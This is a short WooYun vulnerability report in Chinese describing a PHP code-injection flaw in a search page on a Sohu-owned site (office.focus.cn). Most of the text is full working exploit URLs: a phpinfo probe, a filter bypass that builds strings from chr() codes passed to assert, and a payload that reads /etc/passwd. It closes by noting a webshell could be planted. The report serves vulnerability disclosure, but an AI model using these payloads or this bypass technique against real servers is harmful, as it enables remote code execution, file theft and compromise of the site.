WooYun.org

今晚本来想看看昨天提的sohu的那个命令执行 看他是怎么修补的。
没成想
http://officeimg.focus.cn/ 这个站整个毙掉了。

访问直接403
然后我google了下 又找到一个 sohu的站 同样的参数。
然后执行
http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7B@phpinfo()%7D
发现没出来信息。
看了下源码发现 把in替换了。

经测试 发现 单引号也都过滤了。
不过这样就可以绕过
http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7B@assert(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41))%7D

通过这种方法 还是读文件
例如读 /etc/passwd
http://office.focus.cn/park/search.php?city_code=110000&region_code=0&loopline=&business_circles=&property=&sale_status=0&office_name=$%7Bassert(var_dump
(file_get_contents(chr(47).chr(101).chr(116).chr(99).chr(47).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100))))%7D

我想找到一个可写目录 应该可以写一个shell进去
不过我比较懒 就没找了。